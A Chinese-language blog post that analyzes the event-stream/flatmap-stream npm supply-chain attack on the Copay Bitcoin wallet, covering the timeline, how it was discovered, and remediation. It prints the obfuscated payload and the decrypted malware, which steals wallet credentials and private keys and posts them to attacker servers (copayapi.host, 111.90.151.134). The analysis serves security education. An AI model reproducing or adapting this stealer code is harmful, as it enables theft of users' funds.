如何盜取價值300萬的比特幣?!
比特幣錢包 Copay 被依賴鏈攻擊這個瓜上週在技術圈裡被廣泛討論,我在看了眾多大神分析之後理清了前因後果。在這裡也給大家來分享一波黑客是如何一步步實施他的驚人計劃的。
一、 背景介紹
ofollow,noindex">event-stream 是開源社群裡一個用於處理 Node.js 流資料的 npm 包,它使得建立和使用流變得容易,正是因此,受到了廣大開發者的歡迎,目前這個庫上週下載量達到了 165萬 。

而這起事件起因是由於該專案的作者 @dominictarr 受限於時間與精力,將其維護工作交給了另一位開發者 @Right9ctrl,該開發者獲得了 event-stream 的許可權後,將惡意程式碼通過依賴項 flatmap-stream 注入到了 event-stream 中去。也正是這個依賴項引入了竊取比特幣的後門。
同時,著名的比特幣錢包 Dash Copay 在他們的應用中引用了對 event-stream 的依賴,從而導致了中毒事件的發生。
梳理下來,黑客的具體步驟如下:
- 第一步,黑客 @right9ctrl 發郵件給這個庫的原作者 @dominictarr ,而他因為缺乏時間和興趣已經不願再維護這個庫了,於是就將該庫轉讓給了這個完全不認識的陌生人 。

- 第二步,9 月 9 日,新維護者開始了初步性的動作,首先釋出了 event-stream 3.3.6 版本的更新,並在其中加入了一個全新的模組——flatmap-stream,彼時這個模組中並沒有惡意功能。
- 第三步,9 月 16 日,@right9ctrl 刪除了對 flatmap-stream 的引用並在 event-stram 裡 手動實現 了這個方法, 之後直接將專案從3.3.6 升級到了 4.0.0 。但引用npm包的時候,很少有人直接升級大版本,也就是說 codepay 很可能會一直使用這個中毒的 event-stream 3.3.6版本。

- 第四步,10 月 5 日,[email protected] 版本被一個名為 @hugeglass 的使用者推送到了 NPM。而這次釋出的更新中該模組就被加入了竊取比特幣錢包的使用者資訊和祕鑰。通俗的來說就好比使用者的網銀賬號、密碼和U盾一起被盜了。
二、盜竊與曝光
盜竊
那麼黑客的程式碼具體是怎麼盜竊比特幣的呢? 通過分析 flatmap-stream 的原始碼,我們可以將其分解為已下四個步驟:
- 外部程式碼判斷執行環境,如果是在 copay-dash 專案中執行,則將加密成16進位制的內部程式碼進行解密並執行。
- 內部程式碼判斷使用者的使用環境(是否使用Cordova),同時獲取受害者的個人錢包資訊。
- 通過遍歷受害者錢包裡所有的id,查詢賬戶餘額超過100BTC(市值300萬人民幣)或者1000BCH(市值125萬人命幣)的賬戶。
- 將受害者的賬戶資訊和錢包祕鑰分別發往部署在吉隆坡的伺服器 111.90.151.134 和 copayapi.host(之前DNS解析為:145.249.104.239,目前為:51.38.112.212)。
曝光
整個事情的曝光十分具有戲劇性,一個完全不相關的第三方開發者在自己的專案中引入了 Nodemon 監控,但是控制檯出現了一條警告 "DeprecationWarning: crypto.createDecipher is deprecated"。
crypto是一個常用的加密解密庫,最近因為 api 升級,它的 crypto.createDecipher方法已經在新版中廢棄,因此係統丟擲警告。

然而,正常情況下對 nodejs 的監控是不需要進行加密解密的。所以為了解決這個意外的警告,這位熱心的開發者將問題上報到了社群。在解決問題的過程中,他們一路向上遍歷了他專案的依賴樹,最終發現依賴是由 flatmap-stream 引入的。通過解密 flatmap-stream 的程式碼,由此揭開了整個事件的序幕。

三、程式碼分析
現在讓我們通過回溯程式碼來一步步分析黑客是怎麼實施他的盜竊的,如果不願意看詳細分析也可以直接跳到章節最後的總結圖:)
首先,攻擊者上傳的 原始程式碼 [email protected] 是被壓縮過的:
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
其中問題程式碼被偷偷放在最後面,我們將程式碼解壓縮並格式化可得到可讀的 問題程式碼1 :
! function () { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), // 在Github上不存在,但是實際在釋出的npm包裡隱藏的 ‘./test/data.js’檔案 o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }();
上述程式碼部分被轉成 16 進位制,我們可以進行一次 16 進位制轉得到 轉碼程式碼1 ,其中 r(e("2e2f746573742f64617461")),翻譯過來就是 require("./test/data"); 目前 data.js 這個檔案已原專案中被刪除,根據 FallingSnow 的說明,data.js檔案是一個如下的陣列,對應原始碼中的陣列n。同樣將該陣列轉碼後,可得到:
[ // 陣列前兩項為加密的16進攻擊程式碼 "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1", "63727970746f", // crypto "656e76",// env "6e706d5f7061636b6167655f6465736372697074696f6e",// npm_package_description "616573323536", // aes256 "6372656174654465636970686572", // createDecipher "5f636f6d70696c65", // _compile "686578", // hex "75746638" // utf8 ]
通過data.js對問題程式碼的陣列 n 進行替換,我們可得到下面的 轉碼程式碼2 :
!(function() { try { // 攻擊程式碼被加密偽裝成16進位制 var n = [ "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1", "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1" ]; var o = process["env"]["npm_package_description"]; if (!o) return; var u = require("crypto")["createDecipher"]("aes256", o), a = u.update(n[0], "hex", "utf8"); a += u.final("utf8"); var f = new module.constructor(); (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]); } catch (r) {} })();
其中這個陣列 n 很特別,頭兩項 n[0], n[1] 的長字串需要用被依賴專案的 "npm_package_description" 進行解密,並且只有當 description 正好為 "A Secure Bitcoin Wallet" 才能成功解密。 而“很巧”的是 copay 專案的 description 正好為此,所以說這是針對 copay 錢包的定向攻擊。同時,由於黑客在這裡使用了 crypto.createDecipher 這個過時的api 才最終導致其暴露。 經過兩輪解密後我們得到最終的 解密程式碼 ,我語義化並註釋後如下:
! function() { function startUp() { try { var HTTP = require("http"), Crypto = require("crypto"), publicKey = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function postData(hostName, pathName, encryptedData) { hostName = Buffer.from(hostName, "hex").toString(); // 將16進位制字元轉換成string,"copayapi.host" 和111.90.151.134 var request = HTTP.request({ hostname: hostName, port: 8080, method: "POST", path: "/" + pathName, headers: { "Content-Length": encryptedData.length, "Content-Type": "text/html" } }, function() {}); request.on("error", function(e) {}), request.write(encryptedData), request.end() } // 偷取了使用者資訊並用公鑰加密後傳送 function encryptAndPost(pathName, userInfo) { for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) { var o = userInfo.substr(r, 200); encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+" } postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻擊者的伺服器copayapi.host,111.90.151.134 } // 偷取使用者資訊 function stealUserInfo(profile, stealSuccessCB) { if (window.cordova) { try { var dataDirectory = cordova.file.dataDirectory; // cordova介面獲取程式的資料目錄, Persistent and private data storage within the application's sandbox resolveLocalFileSystemURL(dataDirectory, function(e) { e.getFile(profile, { create: !1 }, function(e) { e.file(function(e) { var reader = new FileReader; reader.onloadend = function() { return stealSuccessCB(JSON.parse(reader.result)) }, reader.onerror = function(e) { reader.abort() }, reader.readAsText(e) }) }) }) } catch (e) {} } else { try { var r = localStorage.getItem(profile); if (r) return stealSuccessCB(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(profile, function(e) { if (e) return stealSuccessCB(JSON.parse(e[profile])) }) } catch (e) {} } } // 執行程式碼由此開始,針對賬戶內大於100BTC餘額的賬戶,偷取使用者的證書和個人資訊。 global.CSSMap = {}, stealUserInfo("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) { var that = this; that.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that))) }.bind(n)) } }); // 引入credentials並重寫,再次嘗試偷取使用者公鑰 var Credentials = require("bitcore-wallet-client/lib/credentials.js"); Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); // 正常執行Credentials.prototype.getKeys try { // 嘗試竊取祕鑰 global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", startUp) : startUp() }();
由於上面的解密程式碼比較清晰,所以這裡只簡述一下。大概是分兩步偷取使用者的個人資訊和錢包祕鑰後,加密發往自己在馬來西亞的伺服器。實現方式是通過JS的原型鏈引用,在 flatmap-stream 裡重寫了 Credentials.getKeys 方法,這個方法被用 copay-dash 專案組用來獲取使用者的祕鑰,他在程式執行該方法後,將使用者祕鑰發往自己的伺服器。
為了讓大家能更好梳理攻擊的流程,我畫出瞭解密的流程圖以供參考:

四、影響與反思
問題暴露後,copay 錢包專案組做了緊急修復並上線v5.2.0版本,但依然還有大量的未更新的錢包老版本(v5.0.2 ~ v5.1.0)中毒,他們也建議使用者自行升級並將比特幣轉移到新的錢包中。目前已有使用者聲稱錢包裡的比特幣被盜,copay 聲稱正在解決此事彙總。

作為第三方開發者我們可以通過 "npm ls event-stream flatmap-stream" 來核對我們的專案裡是否安裝了相關的依賴包。下面是一個安裝了中毒依賴包的本地專案,如果你也安裝了[email protected] 請將依賴升級到最新版即可。
[redacted] └─┬ [email protected] └─┬ [email protected] └─┬ [email protected] └── [email protected]
針對依賴鏈攻擊目前還沒有很好的解決方法,雖然社群裡有建議限制依賴包的許可權或要求 npm 明文提交等方式,但短期來看都不太可能實現。
我們能做也許只有在引用依賴之前,仔細稽核一下被引用的包。同時,對經過安全認證的包鎖住版本,確保不會引入新的有毒依賴包。
參考文件
- event-stream vulnerability explained
- 高達 800 萬次下載量的 npm 包被黑客篡改了程式碼,你的裝置或正成為挖礦機
- JavaScript黑客是這樣竊取比特幣的,Vue開發者不用擔心! @Fundebug